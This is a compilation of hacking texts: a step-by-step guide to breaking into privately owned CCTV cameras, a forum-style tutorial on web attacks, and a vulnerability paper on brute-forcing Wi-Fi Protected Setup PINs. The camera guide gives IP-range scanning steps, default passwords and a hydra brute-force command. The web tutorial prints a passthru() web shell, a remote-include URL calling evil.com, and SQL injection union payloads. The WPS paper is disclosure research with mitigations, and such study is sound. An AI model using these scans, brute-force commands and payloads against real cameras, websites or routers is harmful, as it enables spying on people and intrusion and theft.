How to Hack CCTV Private Cameras

How to Hack CCTV Private Cameras

Now a days CCTV cameras are used many place like shops, malls, offices, warehouse etc and more. for security reason and for many more purposes. This guide will show you how to hack CCTV cameras. If search on Google for CCTV camera hacking , you will be find tricks for public CCTV camera hacking tricks. But here you will be hack private CCTV cameras

Step 1: Download Angry Ip Scanner Angry Ip scanner is powerful GUI Port scanner . Angry Ip scanner available for all major OS.

Download and Install Angry ip scanner

Step 2: Choose Ip Address Range Its important that how to choose proper ip address range for CCTV camera hacking. CCTV cameras are connected with broadband internet connection. If your accessing broadband router then find your public ip address. Just type 'My IP' in Google or Bing search bar. Google will show your public ip address

Here 77.247.181.165 is my public ip . So ip range can be 77.247.181.1 o 77.247.181.255 or 77.247.181.1 o 77.247.185.255

Step 3: Configure Angry Ip for CCTV Camera Hacking Open Angry Ip Scanner

Go to tools > Preferences > Ports | add ports 80,8080,23 in Port selection tab It will scan 80,8080 and 23 port.

We need add web detect. Web detect can show short details about device details connected to internet. like as follows:

1.CCTV camera model name 2.CCTV camera name 3.router name or router model name

Add web detect as follows

Go to Tools > Fetchers > add (<<) web detect

Click OK

Step 4: Start Ip Range Scanning Add ip range in Ip range tab and click start

After scanning finished you will find interesting information in web detect tab some examples as follows

1.RomPager/4.07 UPnP/1.0 ­­­­­ router 2.uc­httpd 1.0.0 ­­­­­ CCTV camera 3.DVRDVS­Webs ­­­­­ CCTV camera

4.

microhttpd ­­­­­ router 5.Webs ­­­­­ CCTV camera 6.Hikvision­Webs ­­­­­ CCTV camera 7.iBall­Baton ­­­­­ CCTV camera

Copy ip address of detected CCTV camera and pest in browser press enter.

Step 5: Default Username and Password Most of the CCTV cameras and router configured default username and password. example

Username : admin | password : admin Username : admin | password : (blank password) Username : admin | password : 12345 Username : admin | password : 9999

You can find default username and password list trying some googling

some CCTV cameras need plugin, you can download from same page. If not found plugin at same page then go to manufacture website site and download it.

Step 6: Crack CCTV Camera Password Using Hydra If default password not work then we need to crack it. hydra is powerful brute for tool can crack CCTV cameras password.

Note

There are 100s of bruteforcing tools availble like hashcatocl but we'll focus on hydra as its our favourite.

Now fire up kali root@DeepHack:~# hydra ­s 80 ­l admin ­P /root/Desktop/wl/cctvpass.txt ­e ns ­t 16 targetIP http*

Hydra syntax

-s 80 -- define port number

-l admin -- default login name admin

-P /root/desktop/worldlist.txt -- choose your word list for brute force

-e --- empty password

ns --- try login as passwordand try empty password

http --- port name for attack

Using this you can hack some CCTV cameras!

Common Internet Exploits Vulnerabilities

Common Internet Exploits Vulnerabilites

0. Introduction

Hello once again from Crash Overron, hopefully this guide will be better than the other one :- seeings how i got a good bit of flame about it everywhere i looked. Anyways I will be covering RCE in this one since i skipped it in the last and also going over SQL injections again and covering it myself instead of referring to another person's material. Also note that there are other ways of performing these vulnerabilities, these are just examples trying to demonstrate how they can be used or exploited.

1. Full Path Disclosure

Full Path Disclosure by itself is not very powerful, but is very effective when trying to find out more information about the target server while performing other hacks, such as LFI (refer to prior article). Basically, a full path disclosure is displaying to the attacker the exact location of the current file, which in turn could be used to better navigate through the site or server. If an example site, vulnerable to this, had a link such as http://www.site.com/index.php?page=home and we changed index.php?page=home to index.php?page=asdf hopefully there will not be a file named "asdf" in the current directory which will display an error such as

CODE :

Warning: main(asdf) [function.main]: failed to open stream: No such file or direcotyr in

/home/something/site/blah/index.php on line 28

now that we have this message we know exactly how many directories we are from the root directory and could possibly have a better feel for how the server is setup.

2. RCE

RCE stands for Remote Code Execution, which is a type of RFI mixed with a type of advanced XSS :-P. To perform RCE attacks you need to use PHP function such as passthru() or eval() (these are the only two i know of please someone say if you know of others) . passthru() executes external code and displays the output; eval() simply takes in a statement or string and executes it as PHP code.

exampl e: CODE :

<?php echo(passthru($_GET['cmd'])); ?>

http://www.target.com/index.php?page=http://www.evil.com/code.txt?cmd=ls

3. Log Poisoning

Log Poisoning is, in a way, like RCE since you execute your own code. Log poisoning consists of a site that is vulnerable to LFI that also records visitors information such as user agent and IP. Typically when a site logs a visitors information they keep it in fairly obvious places such as /logs/. Once such a site is located an attacker checks to see what information is logged then begins to take action. If a visitors user agent is indeed logged then the attacker could possibly change their user agent to PHP code on the about:config page in Mozilla FireFox or a program/plug-in previously downloaded. Once the attacker has input their code into the useragent then they just visit the site again so the new information is now logged. Once the log has been updated the attacker must navigate the LFI vulnerable page to the log file so that it will be included into the page then executed. A simple thing an attacker can do with this for example is make their own RFI vulnerability which then leads to even more things to do.

4. SQL Injection

SQL is used for databases such as users or products and typically holds all the information about each entity such as username, password, email, product name, cost, id number, etc. Usually an easy way to check if a site uses SQL is if they have things such as http://target.com/index.php?id=1 or something similar to that in their url so to check just add something like http://target.com/index.php?id=1' and 1=0-- this is just making the statement always return false which as long as the page is using SQL will not output correctly. Once the attacker has reached a page that is vulnerable they can then check to see how many columns the current table actually has. This is done by doing something like http://target.com/index.php?id=1 order by x-- where x represents a number being increased until you receive an error, the number before your error is the number of columns in the current table. Once the attacker knows the amount of columns they can check to see how the information is printed on the screen; for example if our current table has 4 columns we could do something such as http://target.com/index.php?id=-1 union all select 1,2,3,4-- we use the -1 so no actual user or product information is printed with our check, the union all select is an SQL statement that combines the output of two separate tables. The attacker must know the amount of columns because to combine the output of two seperate tables the output

has to be the same(shown later). Once we know the output format we can execute other things such as output from other tables. Sites often use names for user tables

such as "users" or something similar surprisingly, if this is the case and the second and third columns are displayed we could do something such as http://target.com/index.php?id=-1 union all select null, *, null from users-- notice the nulls

in columns one and four; this is because of what i said earlier about the matching amount of columns (assuming the users table only contains two columns which would then give a total of four columns in our new statement) the asterisks (*) is to include everything from the table. So the previous example statement will include everything in the users table with everything in the current table being used on the index.php page with the id of -1 which hopefully will not have any data. An easy way to get an idea of how many columns the user table has; just simply look at a registration form or possibly a users profile and count the number of areas on that page this will typically give you a decent idea.

5. EXIF

The EXIF vulnerability is yet another inclusion exploit. Again, for the EXIF vulnerability the victim site needs to have a page vulnerable to LFI but also needs an area that allows the attacker to upload images such as a forum or user avatars. In order to exploit this vulnerability the attacker needs to insert code in a misc image using a program such as jpegcommenter then simply save and upload the new image to the vulnerable site and view where the image is saved. Once the url to the image is known the attacker can then continue with the LFI attack, and include the image file which will then execute the malicious code within the image comment.

6. Conclusion

Well I hope you enjoyed this article and were able to learn something or further your knowledge on one of the subjects explained. Hopefully this article was written better than the last if not then I'm sorry and deal with it :-P At the moment I can think of a couple of other vulnerabilities

that have not been included in this article and I do not feel the need to include so there may be another article soon.

Brute Force Attacks Wifi Protected Setup

Brute forcing Wi-Fi Protected Setup

When poor design meets poor implementation.

Introduction

“Wi-Fi Protected Setup™ is an optional certification program from the Wi-Fi Alliance that is designed to ease the task of setting up and configuring security on wireless local area networks. Introduced by the Wi-Fi Alliance in early 2007, the program provides an industry-wide set of network setup solutions for homes and small office (SOHO) environments.

Wi-Fi Protected Setup enables typical users who possess little understanding of traditional Wi-Fi configuration and security settings to automatically configure new wireless networks, add new devices and enable security. More than 200 products have been Wi-Fi CERTIFIED™ for Wi-Fi Protected Setup since the program was launced (sic!) in January 2007.”1

The Wi-Fi Simple Configuration Specification (WSC) is the underlying technology for the Wi-Fi Protected Setup certification.

Almost all major vendors (including Cisco/Linksys, Netgear, D-Link, Belkin, Buffalo, ZyXEL and Technicolor) have WPS-certified devices, other vendors (eg. TP-Link) ship devices with WPS-support which are not WPS-certified.

WPS is activated by default on all devices I had access to.

Although WPS is marketed as being a secure way of configuring a wireless device, there are design and implementation flaws which enable an attacker to gain access to an otherwise sufficiently secured wireless network.

Configuration Options Overview

WPS supports out-of-band configuration over Ethernet/UPnP (also NFC is mentioned in the specification) or in-band configuration over IEEE 802.11/EAP. Only in-band configuration will be covered in this paper.

Terminology2

• The enrollee is a new device that does not have the settings for the wireless network.

• The registrar provides wireless settings to the enrollee.

• The access point provides normal wireless network hosting and also proxies messages between the enrollee and the registrar.

1. http://www.wi-fi.org/wifi-protected-setup/

2. http://download.microsoft.com/download/a/f/7/af7777e5-7dcd-4800-8a0a-b18336565f5b/WCN-Netspec.doc

Push-Button-Connect (“PBC”)

The user has to push a button, either an actual or virtual one, on both the Access Point and the new wireless client device. PBC on the AP will only be active until authentication has succeeded or timeout after two minutes.

This Option is called wps_pbc in wpa_cli3 (text-based frontend program for interacting with wpa_supplicant).

Firgure 1: activated “virtual Push Button” (Windows acts as enrollee) (Windows 7)

Figure 2: Description of PBC option (Linksys WRT320N User Manual)

PIN

Internal Registrar

The user has to enter the PIN of the Wi-Fi adapter into the web interface of the access point. The PIN can either be printed on the label of the adapter or generated by software.

This option is called wps_pin in wpa_cli.

Figure 4: PIN field – Router is Registrar (LinksysWRT320N Web Interface)

Figure 3: Description of PIN internal Registrar option (Linksys WRT320N User Manual)

http://hostap.epitest.fi/wpa_supplicant/

External Registrar

The user has to enter the PIN of the access point into a form on the client device (eg. computer).

This option is called wps_reg in wpa_cli.

Figure 7: Label with WPS PIN on the back of a D-Link router

Design Flaw #1

Option / Authentication	Physical Access	Web Interface	PIN
Push-button-connect	X
PIN – Internal Registrar		X
PIN – External Registrar			X

WPS Options and which kind of authentication they actually use.

As the External Registrar option does not require any kind of authentication apart from providing the PIN, it is potentially vulnerable to brute force attacks.

Authentication (PIN – External Registrar)4

IEEE 802.11

		Supplicant → AP			Authentication Request
							802.11 Authentication
		Supplicant ← AP			Authentication Response
		Supplicant → AP			Association Request
							802.11 Association
		Supplicant ← AP			Association Response

IEEE 802.11/EAP

Supplicant → AP

EAPOL-Start

Supplicant ← AP

EAP-Request Identity

EAP Initiation

Supplicant → AP

EAP-Response Identity

(Identity: “WFA-SimpleConfig-Registrar-1-0”)

IEEE 802.11/EAP Expanded Type, Vendor ID: WFA (0x372A), Vendor Type: SimpleConfig (0x01)

M1

Enrollee → Registrar

N1

|| Description || PKE

Diffie-Hellman Key Exchange

M2

Enrollee ← Registrar

N1

|| N2 || Description || PKR || Authenticator

M3

Enrollee → Registrar

N2

|| E-Hash1 || E-Hash2 || Authenticator

M4

Enrollee ← Registrar

N1

|| R-Hash1 || R-Hash2 || EKeyWrapKey(R-S1) ||

proove posession of 1st half of PIN

Authenticator

M5

Enrollee → Registrar

N2

|| EKeyWrapKey(E-S1) || Authenticator

proove posession of 1st half of PIN

M6

Enrollee ← Registrar

N1

|| EKeyWrapKey(R-S2) || Authenticator

proove posession of 2nd half of PIN

M7

Enrollee → Registrar

N2

|| EKeyWrapKey(E-S2 ||ConfigData) || Authenticator

proove posession of 2nd half of PIN,

send AP configuration

M8

Enrollee ← Registrar

N1

|| EKeyWrapKey(ConfigData) || Authenticator

set AP configuration

Enrollee = AP

PSK1 = first 128 bits of HMACAuthKey(1st half of PIN)

Registrar = Supplicant = Client/Attacker

PSK2 = first 128 bits of HMACAuthKey(2nd half of PIN)

PKE = Diffie-Hellman Public Key Enrollee

E-S1 = 128 random bits

PKR = Diffie-Hellman Public Key Registrar

E-S2 = 128 random bits

Authkey and KeyWrapKey are derived from the Diffie-

E-Hash1 = HMACAuthKey(E-S1 || PSK1 || PKE || PKR)

Hellman shared key.

E-Hash2 = HMACAuthKey(E-S2 || PSK2 || PKE || PKR)

Authenticator = HMACAuthkey(last message || current

R-S1 = 128 random bits

message)

R-S2 = 128 random bits

EKeyWrapKey = Stuff encrypted with KeyWrapKey (AES-

R-Hash1 = HMACAuthKey(R-S1 || PSK1 || PKE || PKR)

R-Hash2 = HMACAuthKey(R-S2 || PSK2 || PKE || PKR)

CBC)

1

2

3

4

5

6

7

0

1st half of

checksum

PIN

2nd half of PIN

If the WPS-authentication fails at some point, the AP will send an EAP-NACK message.

4 based on http://download.microsoft.com/download/a/f/7/af7777e5-7dcd-4800-8a0a-b18336565f5b/WCN-Netspec.doc

Design flaw #2

An attacker can derive information about the correctness of parts the PIN from the AP´s responses.

• If the attacker receives an EAP-NACK message after sending M4, he knows that the 1st half of the PIN was incorrect.

• If the attacker receives an EAP-NACK message after sending M6, he knows that the 2nd half of the PIN was incorrect.

This form of authentication dramatically decreases the maximum possible authentication attempts needed from 108 (=100.000.000) to 104 + 104 (=20.000).

As the 8th digit of the PIN is always a checksum of digit one to digit seven, there are at most 104 + 103 (=11.000) attempts needed to find the correct PIN.

Brute Force Methodology

Figure 8: Flowchart showing how an optimized brute force attack works

Brute Force Implementation

A proof-of-concept brute force tool was implemented in Python. It uses the Scapy5 Library for decoding, generating, sending and receiving packets. This tool was used on several routers made by different vendors.

Sample output

sniffer started

trying 00000000

attempt took 0.95 seconds trying 00010009

attempt took 1.28 seconds trying 00020008

attempt took 1.03 seconds

<snip>
trying	18660005
attempt took			1.08		seconds
trying	18670004				# found 1st half of PIN
attempt took			1.09		seconds
trying	18670011
attempt took			1.08		seconds
trying	18670028
attempt took			1.17		seconds
trying	18670035
attempt took			1.12		seconds
<snip>
trying	18674071
attempt took			1.15		seconds
trying	18674088
attempt took			1.11		seconds
trying	18674095				# found 2nd half of PIN
E-S2:
0000	16	F6	82	CA A8 24 7E 98		85 4C BD A6 BE D9 14 50	.....$~..L.....P
SSID:
0000	74	70	2D	74 65 73 74			tp-test
MAC:
0000	F4	EC	38	CF AC 2C			..8..,
Auth Type:
0000	00	20					.
Encryption Type:
0000	00	08					..
Network Key:
0000	72	65	61	6C 6C 79 5F 72		65 61 6C 6C 79 5F 6C 6F	really_really_lo
0010	6E	67	5F	77 70 61 5F 70		61 73 73 70 68 72 61 73	ng_wpa_passphras
0020	65	5F	67	6F 6F 64 5F 6C		75 63 6B 5F 63 72 61 63	e_good_luck_crac
0030	6B	69	6E	67 5F 74 68 69		73 5F 6F 6E 65	king_this_one
Key Wrap Algorithm:
0000	76	3C	7A	87 0A 7D F7 E5			v<z..}..

5 http://www.secdev.org/projects/scapy/

Results

Authentication attempt duration

One authentication attempt usually took between 0.5 and 3 seconds to complete. It was observed that the calculation of the Diffie-Hellman Shared Key (needs to be done before generating M3) on the AP took a big part of the authentication time. This can be speeded up by choosing a very small DH Secret Number, thus generating a very small DH Public Key and making Shared Key calculation on the AP’s side easier.

Implementation Flaws

Some vendors did not implement any kind of blocking mechanism to prevent brute force attacks. This allows an attacker to try all possible PIN combinations in less than four hours (at 1.3 seconds/attempt).

On average an attack will succeed in half the time.

The Netgear device has lock down functionality implemented, but the lock down phases are not long enough to make an attack impractical. In this case an attack will on average succeed in less than a day (timing data can be found on the next page).

Vendor	Device Name	HW-Version		FW-Version	Lock down	WPS-
						certified
D-Link	DIR-655	A4	(Web Interface)	1.35	No	Yes
		A5	(Label)
Linksys	WRT320	1.0		1.0.04	?6	Yes
Netgear	WGR614v10	?		1.0.2.26	Yes	Yes
TP-Link	TL-WR1043ND	1.8		V1_110429	No	No

Firmware versions are up-to-date as of 18.10.2011.

In rare cases devices started to send malformed messages or their web interface and routing did not work properly anymore. A reboot was needed to solve the problem. This might be evidence of some kind of corruption, but was not investigated further.

6 WPS-functionality always stopped to work somewhere between 2 and 150 failed authentication attempts. The functionality did not even return after several hours. I would consider this a bug in the firmware which causes a DoS rather than lock-down functionality.

Mitigations

End users

Deactivate WPS. This may not always be possible.

Vendors

Introduce sufficiently long lock-down periods in order to make an attack impractical. Of course this requires a new firmware release.

Attempts	Lock	Attempts	Maximum	Maximum	Comment
before	down	per	attack time	attack time
lock	time	minute
11000	0 minutes	46.15	3.97 hours	0.17 days	no lock down
?7		4.20	43,65 hours	1,82 days	Netgear WGR614v10
3	1 minutes	2.82	65.08 hours	2.71 days	Requirement for WSC 2.0
15	60 minutes	0.25	737.31 hours	30.72 days
					Lock down configurations making
10	60 minutes	0.17	1103.97	46.00 days
					brute force less practical
5	60 minutes	0.08	2203.97	91.83 days

Assumed time per attempt: 1.3 seconds

Considering that an AP typically runs for several months, a determined attacker might still be able to successfully attack a WPS-enabled AP. This attack is low-cost and has a high success guarantee compared to cracking WPA/WPA2-PSK.

Conclusion

As nearly all major router/AP vendors have WPS-certified devices and WPS – PIN (External Registrar) is mandatory for certification, it is expected that a lot of devices are vulnerable to this kind of attack.

Having a sufficiently long lock-down period is most likely not a requirement for certification. However it might be a requirement in the (new) WSC Specification Version 28. I contacted the Wi-Fi Alliance about this – they have yet to respond.

Collaboration with vendors will be necessary for identifying all vulnerable devices. It is up to the vendors to implement mitigations and release new firmware.

Affected end-users will have to be informed about this vulnerability and advised to disable WPS or update their firmware to a more secure version (if available).

7. No consistent lock down pattern was found. However on average about 4.20 authentication attempts per minute were possible.

8. http://www.wi-fi.org/files/20110421_China_Symposia_full_merge.pdf